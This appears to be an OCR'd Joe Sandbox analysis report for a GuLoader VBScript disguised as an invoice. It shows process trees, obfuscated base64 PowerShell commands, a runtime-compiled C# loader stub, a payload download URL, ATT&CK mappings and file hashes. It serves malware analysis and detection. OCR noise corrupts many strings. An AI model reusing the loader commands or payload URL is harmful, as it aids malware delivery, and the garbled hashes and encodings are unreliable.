ACAAQgBIAHMAbgBhAGsAawBIADCAIABVAE4ARABUAEEAIABCAHIAYQBzAGgAbABSAGKAZWAJAAOACYAKAGMAaABVAG4AZABYAGBAZWBhADUAPQAWADSADQAK
ACMAQgBVAGWAaQBKAGUACWBzAGWAYQA1ACAATABBAE4ARABTAFIAIABQAHIAbwBZACAAVABSAGWAZQBzADgAIABPAGOAawBsAGEAcWBzAGKAZgBpADCAIABQ
AGUAbgBOAGEAYWBYAG8AbgBrADQAIABIAEUAUABUAEEAVAAGAFCAY QBrAGUACgAgAHIAZQBNAGKAbWAGAFUAZWBIAHMAawByAGKANWAGAFMADABhAHIANAAg
AEYATWBSAEUATAAgAAOACYBbAGMAaABVAGAAZABYAGBAZWBhADEAXQABADOAQWBEAEEAQWAOACQAYWBOAG8AbgBKAHIAbWBNAGEANAASACQAYWBOAG8AbgBk
AHIAbWBNAGEAMWASADUAOAA3ADY ANWASAFSACgBIAGYAXQAKAGMAaABVAGAAZ AByAGBAZWBhADUALAAWACKADQAKACMAQYBFAFMASWAgAFMAJABYAGUAZQBO
AHCAYQBYAGQANWAGAEWAZQBGAHIAJQBKAHMAJABSAHIANgAgGAFUAbgBSAGEAbgBNAHUAIAB1IAG4AawBpAG4AZAAGAEGAQQBLAEOAIAB3AHIAaQBNAGgAdABY
AHKAIABCAGEAZWBNAGEAYQBYAGQAZQBUADIAIABTAHUAYgBjAG8AbgBOAHIAY QA4ACAAZgBSAGEAdgAgAECACgBhAHYAcwBOAGUAZAA3ZACAASABPAGCAaABo
AGEAJABIAGEAIABTAGgAYQB0ACAADQAKAFSAYWB0AG8AbgBKAHIAbWBNAGEAMQBAADOAOYGBFAG4AdQBIAFCAaQBUAGQAbWB3AHMAKAAKAGMAaABVAG4AZABY
AGBAZWBhADMALAAgADAAKQANAACADQAKAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)
conhost.exe (PID: 6888 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e W' csc.exe (PID: 4608 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nmk1nggs\
nmk1nggs.cmdline MD5: 350C52F71BDED7B99668585C15D70EEA)
e ' cvtres.exe (PID: 6348 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe /INOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\A
ppData\Loca\Temp\RESD70A.tmp" "c:\Users\user\AppData\Local\Temp\nmk1nggs\CSCB6EACAC7C331481095CED6A2215A0F6. TMP" MD5:
C09985AE74F0882F208D75DE27770DFA)

= cleanup

Malware Configuration

Threatname: Guloader

"Payload URL": "http://barsam.com.au/bin_FCWtLo090.bin"

Yara Signatures

Memory Dumps

Source Rule Description Author Strings
00000010.00000002.763535179.0000000009970000.00000  JoeSecurity_GuLo Yara detected Joe Security
040.00000800.00020000.00000000.sdmp ader_2 GuLoader

Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

AV Detection

Found malware configuration

Multi AV Scanner detection for submitted file

Networking

C2 URLs / IPs found in malware configuration

Potential malicious VBS script found (has network functionality)
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System Summary

Wscript starts Powershell (via cmd or directly)

Very long command line found

Data Obfuscation

HIPS / PFW / Operating System Protection Evasion .]i.

Encrypted powershell cmdline option found

Mitre Att&ck Matrix

- L . Command Remote
Initial . . Privilege Defense Credential . Lateral . . . Network .
Access Execution Persistence Escalation | Evasion Access Discovery Movement Collection Exfiltration and Effects Service Impact
Control Effects
Valid Path 0os Remote Exfiltration Eavesdrop Remotely  Modify
Accounts Command Interceptio Process Masqueradi Credential  Query Services Archive Over Other Encrypted  on Insecure Track System
and n Injection ng Dumping Registry Collected Network Channel Network Device Partition
Scripting Data Medium Communic ~ Without
Interpreter ation Authorizati
on
Default Boot or Boot or LSASS Remote Data from  Exfiltration Exploit SS7 Remotely  Device
Accounts Scripting Logon Logon Virtualizatio Memory Security Desktop Removable Over Application to Redirect Wipe Data  Lockout
Initializatio  Initializatio  n/Sandbox Software Protocol Media Bluetooth Layer Phone Without
n Scripts n Scripts Evasion Discovery Protocol Calls/SMS  Authorizati
on
Domain Logon Logon Security SMB/Wind Data from  Automated Steganogra Exploit SS7 Obtain Delete
Accounts PowerShell  Script Script Process Account Process ows Admin  Network Exfiltration  phy to Track Device Device
(Windows)  (Windows) Injection Manager Discovery  Shares Shared Device Cloud Data
Drive Location Backups
Local At Logon Logon NTDS Distributed  Input Scheduled  Protocol SIM Card Carrier
Accounts (Windows)  Script Script Deobfuscat Virtualizatio Component Capture Transfer Impersonati  Swap Billing
(Mac) (Mac) e/Decode n/Sandbox  Object on Fraud
Files or Evasion Model
Information
Cloud Cron Network  Network LSA SSH Keylogging Data Fallback  Manipulate Manipulate
Accounts Logon Logon Scripting Secrets Application Transfer Channels Device App Store
Script Script Window Size Limits Communic Rankings
Discovery ation or Ratings
Replication  Launchd Rc.commo  Rc.commo Cached VNC GUIl Input  Exfiltration  Multiband ~ Jamming or Abuse
Through n n Obfuscated Domain File and Capture Over C2 Communic  Denial of Accessibilit
Removable Files or Credentials Directory Channel ation Service y Features
Media Information Discovery
External Scheduled  Startup Startup Compile DCSync Windows Web Portal Exfiltration ~ Commonly  Rogue Wi- Data
Remote Task Items Iltems After System Remote Capture Over Used Port  Fi Access Encrypted
Services Delivery Information Manageme Alternative Points for Impact
Discovery  nt Protocol

Behavior Graph
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Screenshots

Thumbnails

ID:

sample:
Startdate:
Architecture:

Score:

Behavior Graph

o o |

WWVN_INVOICE_8363567453.vbs SUSPICIOUS D

1010512022 CLEAN I:‘
WINDOWS UNKNOWN

Z [

LN

By

ay

A

- TR

% wscript.exe - oo

Y

2

@
CRET

3

R
...|} iz
—f 5

D@ 2 i~

Wscript starts Powershell

Very long command line
(via cmd or directly) found

Encrypted powershell
cmdline option found

-
®

«Q
@®
=}
o

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

= -
Is malicious
n Internet
/ started \ started
cscexe = conhost.exe o
@ @
n B: (C]
dropped
C:\L Data\Locall. dll, PE32 started

] owesere

i

@
»

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
WWVN_INVOICE_8363567453.vbs 24% ReversingLabs Script. Trojan.Valyri
a

Dropped Files

@ No Antivirus matches

Unpacked PE Files

@ No Antivirus matches

Domains

@ No Antivirus matches

URLs

Source Detection Scanner Label Link
hitp:/fhttps://go.micro 0% URL Reputation safe
hitp:/fbarsam.com.au/bin_FCWtLo090.bin 0% Avira URL Cloud safe
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Domains and IPs

Contacted Domains

@ No contacted domains info

Contacted URLs

Name Malicious Antivirus Detection Reputation

http:/fbarsam.com.au/bin_FCWtLoO90.bin true e Avira URL Cloud: safe unknown

URLs from Memory and Binaries

Name Source Malicious  Antivirus Detection Reputation
http:// powershell.exe, 00000010.00000002.756793 false high
schemas.xmlsoap.org/ws/2005/05/identity/claims/nam  102.0000000004FF1000.00000004.00000800.0
e 0020000.00000000.sdmp
http://https://go.micro powershell.exe, 00000010.00000002.757728 false e URL Reputation: safe unknown
131.000000000525D000.00000004.00000800.0
0020000.00000000.sdmp

World Map of Contacted IPs

@ No contacted IP infos

General Information
Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 623396
Start date and time: 10/05/202214:02:15 2022-05-10 14:02:15 +02:00
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 8m 49s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: WWVN_INVOICE_8363567453.vbs
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |E 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 30
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal84.troj.evad.winVBS@8/9@0/0
EGA Information: e Successful, ratio: 100%
HDC Information: Failed

HCA Information:

.

Successful, ratio: 97%
e Number of executed functions: 0
Number of non-executed functions: 0

.

Cookbook Comments: Found application associated with file extension: .vbs
Adjust boot time
Enable AMSI

Override analysis time to 240s for JS files taking high CPU consumption

e o o o
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Warnings

e Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe,
svchost.exe, wuapihost.exe

e Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, displaycatalog.m

p.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com

Not all processes where analyzed, report is missing behavior information

Report size getting too big, t oo many NtOpenKeyEx calls found.

Report size getting too big, t oo many NtProtectVirtualMemory calls found.

Report size getting too big, t oo many NtQueryValueKey calls found.

e o o o

Simulations

Behavior and APIs

Time Type Description

14:05:13 API Interceptor 29x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Hetero3.dat

Process: C:\Windows\System32\wscript.exe
File Type: data

Category: dropped

Size (bytes): 58767

Entropy (8bit): 7.381111578760272

Encrypted: false

SSDEEP: 768:kxehGKqGiOPsqHEA4I7UTIXGJOVFmMP2c/7aD+PJL/k2N2788T8NhBrs:kxIK/IOPsmV7J2JCFDZyP1/krQPNfo

MD5: 7F53C5BDB8BE10B4244A89D5B4580B53

SHAL: A2A3BF3829D0311E3BCC981D98B7FEE88B830055

SHA-256: 13ACE3214FB2EBOAA56526DBEE9510E1ED2B1F1D051D9FABSFDC7D01DFE964F5

SHA-512: 72FE63679C4522FC5B55D6B593FEDFC0A4025DEG573AF154D86E74352260966B4F2F1C7A389372C04E1846C800BA9A3029D466E72CI9BB70E963140C8AA9B287F
Malicious: false

Reputation: low
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Preview:

cnhil 4%04%yY. 2. 1.45.@@@@9.uW......... 5Yy.ZfA.".0;.C.+...0),.......c@......| ..»>..QG7...N...[..ZRjx....v.x_.=..J.n....T.jcli..c..c..c..c..c..c..c..C..C..C..C..C.
.c..c..C..c..c..C..Cc..C..C..C..C..C..C..C..C..C..C..C....M..../dX.).|..uE_ba.uyB/...Q.R....e..c.f...il.._8~.8...[1.".5.G..." X.T.1&...V... ~...(d..h+.3.A..Ri#j.c..c..c..c..c..c..c..C..C..C..C..C..C.
.c..c..C..c..c..c..c..c..c..c..C..Cc..c..c..c..c..c..c....hS.B...P.IX....k.......n.~.....p.64...1@.0..5|..5EX....: ...UEy....]..h..|....14|....[.O..i...v...ur.d[..
.E.a.g..14|.0;...9 l'ik.]......1.=d..~.5.5..05]|....;Y5].]Jm.A.....5.C.....}.._}i~2.|...X.5..=5.~...=. s..MLir.L.jz.i..2@rg.O 6....
i.|. K.H*@S0.1.7...i...c..c..c..c..c..c..c..c..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..M\.5.t.xH/.....Z..(K.../|$

C:\Users\user\AppData\Local\Temp\RESD70A.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols
dropped

1328

3.9598900643026487

false
24:H5e9EuZfLtleXDfHfhKEbsmfll+ycuZhNb6akSqLPNng9qd:wBLt0zZKPmglulGa3Sq9K
0D8D76FA667A3F8B0687A9F384D756B0
8614EC251CE01FBOA370C2EDCA5E634916860355
2F076029190E1914DB9F290A1DA8A2FA2BCD62752D2E8EB675889B05806CDOD7
2810D16E67FCA487BBFED7397786E921AEF95FBD7E670111B87F6A88F3EFA35AF2B7F0D29311C5197B8594A87357687F568EF9B7B11B244F2A7458A3B5D5F21F
false

low

L...Uzb............. debug$s........ | IR @..B.rsrc$01... @..@.rsrc$02........ Pt @..@........ S....c:\Users\user\AppData\Local\Temp\nmk1
nggs\CSCB6EACAC7C331481095CED6A2215A0F6.TMP... 4 \e.%.g:4} ) 4. C:\Users\user\AppData\Local\Temp\RESD70A.tmp.-.<............c......
"...Microsoft (R) CVTRES.\.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe....

H L.4..V.S._V.ERR.S.I.O.N._LN.F.O.. .D....VarF.ile.ln.fo. S.tring.F.il
...0.0.0.0.0.4.b.0...,.....F.ile.D.e.s.c.ri.p.ti.o.n..... . .0..<...lnter.nalN.am.e..n.mk.l.n.q.g.s..d.LL .LegalC.op

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ls4gwl5e.umh.ps1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)

dropped

1

0.0

false

3:UU

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES52DDB7875B4B

ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FOBD058A12A280433ED6FA4651
0A

false
high, very likely benign file
1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ux2laugn.p4m.psm1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDA579CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FIBD058A12A280433ED6FA4651
0A

false
high, very likely benign file
1
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C:\Users\user\AppData\Local\Temp\nmkinqgs\CSCB6EACAC7C331481095CED6A2215A0F6.TMP

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe

MSVC .res

dropped

652

3.0982348855913746

false
12:DXt4li3ntuAHia5YA49aUGigMZAIN5gryBxYak7YngqgxNPN5DIg5J:+RI+ycuZhNb6akSgLPNngX
345F5C65922506673A34037D153A7DA4

7AB5F7D82265424CAEDF5A4A7BAC99D00B6FDA38
C728C7B4C4B4C02444860EF38AA7DBDEC755C6D2BAC10CA2B60F4E4029A628E8

D84EAG6D7D410392CA16FE2676A96B06192AB75CC7C3553E6734E769E67E6523D6D2EB7FFEC84CC82647E63ABBC109FB15CE8124DB190DD13E07F3562E987F1
5

false

L..< 0.. L.4..V.S._V.E.R.S..LO.N._.LLN.F.O .D...VarF.ilelnfo...$..Trans.latio.n
S.trin.g.F.ilelnfo......0.0.0.0.04.b.0...,....F.ile.D.es.crip.tio.n... ..0..FileV.ers.io.n...0..0..0..0..<...lnternalNam.e..nmk1ln.q.g.s..d.ll. .
.Leg.alC.o.pyright. ..D...OriginalF.ilename..nmk.ln.gqg.gs..dll..4..Produ.c.tV.ers.io.n.0..0..0..0..8..Assemb.ly. .Vers.io.n..0..
0...0...0...

C:\Users\user\AppData\Local\Temp\nmklnqgs\nmkinqgs.0.cs

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

882

5.226399550729973

false
24:J01SGv76URmMgkr7nv76zLu+yNp2vHNKgs2gz6LgdaD:Jo1SGz6emhr7nz6zjyqVFUu
EA505B82FADO7E00D99FD3C7A36FF79A
68B8F59916AFB004F83158D741B1C75E02F2E83B
ACOF5F6D3627B4F5F33695E43875609817401A6BF61B88B7193600FCCO7AD50A

BF5CA9FF4B2B5F95A04901F20869E1AB2119A0A569CFF032E8048260A11FE7E87DCB9112A2E20632A830D95353D2CB810DC1571B0091D828FFFBB61DBDEGFOL
D

false

.using System;..using System.Runtime.InteropServices;..public static class chondrogal. {..[Dllimport("gdi32")]public static extern IntPtr EnumFontsA(string Ructiou,uint M
uskily7,int Debi7,int chondroga0,int Farmak,int Quinqueve,int SLGT);..[Dlllmport("KERNEL32", EntryPoint="CreateFileA")]public static extern IntPtr Viac([Marshal
As(UnmanagedType.LPStr)]string Ructiou,uint Muskily7,int Debi7,int chondroga0,int Farmak,int Quinqueve,int SLGT);..[Dllimport("ntdll")]public static extern int NtAllocate
VirtualMemory(int chondroga6,ref Int32 Clathra4,int Varedekla,ref Int32 chondroga,int Outhowling5,int chondroga7);..[Dllimport("KERNEL32", EntryPoint="ReadFile"
)]public static extern int CDAC(int VaredeklaO,uint Varedeklal,IntPtr Varedekla2,ref Int32 Varedekla3,int Varedekla4);..[Dllimport("USER32")]public static extern IntPtr E
numWindows(IntPtr Varedekla5,int Varedekla6);....}

C:\Users\user\AppData\Local\Temp\nmklnqgs\nmkinqgs.cmdline

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators

dropped

369

5.257235356734923

false
6:pAu+H2LvkuqJDdoxLTKbDdgB/6K2wkn23fTT3H0zxs7+AEszIwkn23fTTDFH:p37Lvkmb6KRfLAWZEIfLPFH
CF8F3B8A426D47FAEBA71947E3CC3904

08FA86AB97DC7A7432C203B73D2817E266540108
7F74A53C1BB6DD79654B06C9332F2B1C1015704AF74127C2CE8BCC3FA9A2139E

8D3B3A3919FC8E02CE1E38CA4C271F1DED8OE435F24368AFDDEB4B5ESA74B2AF0A4E63BB453DDFC35C688C13F3E68ABEOABIAA6135017938A159170D73303/4
97

false

Jt:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\Sys
tem.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\nmk1nggs\nmk1nqgs.dil" /debug- /optimize+ /warnaserror /optimize+ "C
\Users\user\AppData\Local\Temp\nmk1nggs\nmk1nggs.0.cs"

C:\Users\user\AppData\Local\Temp\nmkinqgs\nmkinqgs.dll

Process:
File Type:
Category:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe
PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

dropped
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Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

3584

3.273098787476541

false

48:6CPW4BCJTLrLICZjGOK4j5SuJw39801ulGa3Sq:nW3J/HIFCSViYK

1058A8205AC63E740D8DCB2C632B3310

6E2D1A45BD2621E63D954ED1BF2E257EDC921CCF

60BD4F36DE269F0677599366AF5B4A74A063BB6A15889A71D41787CA5E55648D
5BE94D261417F861A0895C15196BIB2E799A778003C722A3177FB460902BD8C54CCECEC015ADE270312F9071553360B96E2F60B5432DF5F90192D5DDBA88520C

false

C:\Users\user\AppData\Local\Temp\nmklnqgs\nmkinqgs.out

Process:
File Type:
Category:

Size (bytes):

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
modified

867

Entropy (8bit):  5.322818868845021

Encrypted: false

SSDEEP: 24:KJIBqd3ka6KRfLIEifLP4KaM5DgBVKVrdFAMBJITH:Cika6CLIEULQKxDcVKdBJj

MD5: 3A2D7F6891BF83D9E3C331E3989D5203

SHA1L: 45F3F9385D677B2B557FF75006156368CBCE87DD

SHA-256: COBODC29080260EE261192AD094675D1448619BD81A23C44877247DB46826682

SHA-512: 264BFD73DD759D0539D49FED709349F4AFFODCB511BC9857E6F8A2A5215AD24EB14571B34ED57DESA09D64F7DAFC3A4A2CE1IBDOC19631C13CDODE174138EE
5C9

Malicious: false

Preview: .C:\Users\user\Desktop> "C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC
_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\L
ocal\Temp\nmk1nggs\nmklnggs.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\nmk1nggs\nmklnggs.0.cs"......Microsoft (R) Visual
C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved....... This compiler is provided as part of the Microsoft (R) .NET Fra
mework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming |
anguage, see http://go.microsoft.com/fwlink/?LinkID=533240....

Static File Info

General

File type: ASCII text, with very long lines, with CRLF line terminators

Entropy (8bit): 4.783519118829289

TrID: e Visual Basic Script (13500/0) 100.00%

File name: WWVN_INVOICE_8363567453.vbs

File size: 233243

MDS5: 9f8e253fd51c33a2f874942ebc0d3795

SHA1L: 686829005489e56542cf0df063985132fef50f3d

SHA256: c33e4e9bf305cec123840dd87aa84c6d71e68ac82ea039418e1b8be3ed791b37

SHA512: €b61932008b275fde416e7e9df71b0efaec9feebla33af8h98d6c582fad3a9bc9lcfid4450589d3fh0a7ch6601d967c8ffa5f6d023chbbf167f2eblac35b054b8c

SSDEEP: 3072:pzLcTYyRQ+PUQSsYwqVOSuKiSMg+fxS9XZgrrflhAvL18IALUDYx7Pu2nNQ:pzPRQ+Qp3ZCtG2+

TLSH: C434FBC0521D19EA8298D58CBCD432AA0F5798DDFA07F96E93A05F6F1390023BD8DD5B

File Content ‘IRIDI LLAN bedgownd Misdem rvful Huntsville chor LANDSFO Aftere Klito4 Agterin LEON stavep TROER corrective ADIPS form ..'Salonrifel9 till monorimeek Ungef7

Preview: unikae FJERNKONT NYTAARSTAL Monoxylone telfonm EVECKMI pligtigts GRIDDLEB flgeska KILLBUCK Fascio

Filelcon

Icon Hash: e8d69ece869a9ec4
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Network Behavior

@ No network behavior found

Statistics

Behavior

@ wscript.exe

@ powershell.exe
@ conhost.exe

@ csc.exe

@ cvires.exe

@

System Behavior

Click to jump to process

Analysis Process: wscript.exe PID: 5560, Parent PID: 3616

General

Target ID: 0

Start time: 14:03:15

Start date: 10/05/2022

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\wscript.exe “C:\Users\user\Desktop\WWVN_INVOICE_8363567453.vbs"
Imagebase: 0x7ff7fcbf0000

File size: 163840 bytes

MDS5 hash: 9A68ADD12EB50DDE7586782C3EBIFFOC

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language
Reputation: high

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion Count Source Address Symbol
File Path Offset Length Value Ascii Completion Count Source Address Symbol
File Path Offset Length Completion Count Source Address Symbol

Analysis Process: powershell.exe PID: 6876, Parent PID: 5560
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General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

16

14:04:49

10/05/2022
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
true

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGEAbgBkAGkAbgBtAGUANQAGAEIAbwBIAGWAZQBr
AGEAIABBAHIAJABPAGsAdQBsAGUACgAgAGgAbWBOAGOAIABGAGBACYBIAG4AaQBUADQAIABWAGKAZWBIAHMAaQBtAG8AawBpADYAIABzZAHQAbw
BtACAARQBJAGgAaQBUAGKAJAA2ACAACABYAGBAbgBhAHQAaQB2ACAAUABSAHIADWAGAFQAZQBAAHQAJAB2ADCAIABFAGWAZQB2AGEAJABVAHIA
ZgByACAAUgBBAEOAUgBPAEQAUWBBACAAUQBIAGSAdQBYAHMAdQBzAHMAIABIAGUAY QBUAHAAbWAgAFMAawBYyAGsAMgAgAHAAbwWBS
AGEACcgBpACAAbQBIAGQAZQBVAGWAY QAJAEWAbWBYAGEAIABSAGEACABOAGKANgAGAAOACIAJAGQAZQBMAGEAIABWAGKAZQBKACAA
VABhAG4AZABrAGQACWBIAGUAIABVAG4AaQBtAGOAbwBYACAAQYBhAGQAZWBIAHIAYgA2ACAAZQBA4AGMAbAB1IAHMAIABDAGGAbWBUAGQACGBVAG
CAOAAJAEEARQBSAEBATABPACAARGBIAFMASABFAFIATQBBAE4ASQAJAEYAQQBHAEKATgBUAEUARWBSACAASQBUAGMAZQBWAHQAbW
AzACAAUWBUAHUACgBSADYAIABCAGKACWBIAHgAdQBhACAAZABVAHMACWBIAHIAIABNAGEAdgBIAGWAIABIAGUAJABhAGYAbwBYAG UAIABOAHIA
YQBUACAAYQBOAGEAawAgAFMAZQBpAHMAbQBPADIAIABOAG8AbgBMAGEAYgB1AGWAIABEAGKAZWBOAGUAawAzACAAUgGBFAECATYBT
AESAQQAJAFAAaAB5AHQAbWBIAGUAOQAJAEOAIQBYAGEAZQAJAEGAY QBSAHYAOAAGAFYATWBDAEKARGBFAFIAQQBUAEUAIABXAESA
TwBEAEMAUgBBAEYAVAAJAGYAY QBYAGQAaABIAGEACgBOACAASWBUAGKAYgAgAHMAZQBGAHQAIAANAAOAIWBIAGOADQBIAHIAdgBrADgAIABTAH
AACgBVAGCAZgBSACAAUGBFAEQAUWBIAEKAIABZAGKAZgBMAGWAZQB1AHMAIABTAHUACABIAHIAIABYAGKAZgBOAGUACgBzZACAARWBYAGBAdQB)
AGgAIABQAHIAbWBIAHYAZQBOAGKAIABQAFIATWBUAEUATgBTAEKAIABMAHKAZABIAGKAbABSAGUAZABIACAAUWBVAEIARQBMAEUAQWBUAFIAIA
BSAGEAbQBtAGUAJABJAGgAbWBYACAAQWBIAFMAUWBFAFMAQQBSACAAQYBYAGUAZAAJAGOAbWBYAGQAZgBzAHQAZQAJAEEAbGBOAG
KACWBIAG4ACWAGAEWATWBYAEBAIAANAACAIWBTAHAADABLAHIAZWB5AHAAe QA3ACAAUWBIAHAAJABIAG4AIABEAGKADQBZACAAVABIAGIACYBI
AHYAcwWB1AG4AYWAYACAAUWBOAHQAJABIAHAAMgAGAGWAaQBrAHYAaQBKAGUAIABBAGYAdAB2AGKAIABWAGEAbgBOAGBAZWAGAHYAZQBJAGIAEQ
BnACAAYWBVAGMAbWAJAEKAUWBCAFIAWQAgAFAAQQBTAFMAIABQAGKAbgBMACAAbQBLAG4AaQBrAGEAJAAGAHUAbgBzZAGUAIABHAF
UATABEAFIAIABNAGUADBABVAGQAaQBVAHUAIABWAGEAbgBpAGOAZQBOAGUAIABSAGEAZgBOAGUACWBVAHMAIABIACAAY QB2AGEAbgBJAGUADQBI
AG4AJAAgAEUAbgBOAGUAYQBzAHUAY gBWAHIAIABNAFKAQWBFACAAVABPAGQAbBABUAGAAZQBKAGUAMWAGAGBAZABSAHMACWBIAGAAIABKAHIAeQ
BWAHQACcgBYAGUAbgAgAHAAZQBYAHMAbWAJAAOACYAJAGYAbWBYAGAAIABDAGUAbgBOAHIANAAGAEGAZQBUAHIAEQBrAGSAZQBzAGWAOAAGAEYA
TwBSAEQAQQBNAFAATYBJIAE4AIABIAGAAdABYAGEAZgBVAGWAIABDAGEADABKAHIAbWBUACAAaQBUAGYACgAgAHYAY QBSAGCAIABTAEKAUWBZAF
IASQAGAECAZQBUAGBAYQBIrAG8AIABZAGSAY QBKAGUAZWBYAGUACgAgAFUAbgBKAGUACGBhAGYACWBUAGKAMYAGAFYAY QBJAGMAaQBUAGEAdAAY
AGQACcgBpAGWAbABIAHIAaQBIAHIAIABDAEgAQQBJIACAADQAKACMARABIAHQABWBAAGKAZGAGAGEAZGBIAGEADABPACAASABIAGOAZQBOAGAAIA
BBAGwWAawBvAGgAbwBsAHQAeQBWADKAIABSAGKAbgBpAGUAIABUAEEAQQBSAE4AIABtAGUACgBVACAAUWBWAGUAYWBOAHIAbWA4ACAACWBOAGOA
ZQBYAG4AIABQAGBACWBPAHQAaQBVACAAQQBLIAHQAbWBIAGKAbWAJAHUAJABhAGSAbgBIACAASABIAGOAY QBUAGYAbWBVADMAIABVAGOACABSAC
AAQUBIAHYAaQBzAGYACgBIAGWACWAZACAAQYBYAGKADABSAGUAZgBVAGQAZQA2ACAARQBKAEUATYBEAESBATQBTACAAVABLAHIAaQBzAHQAaWAD
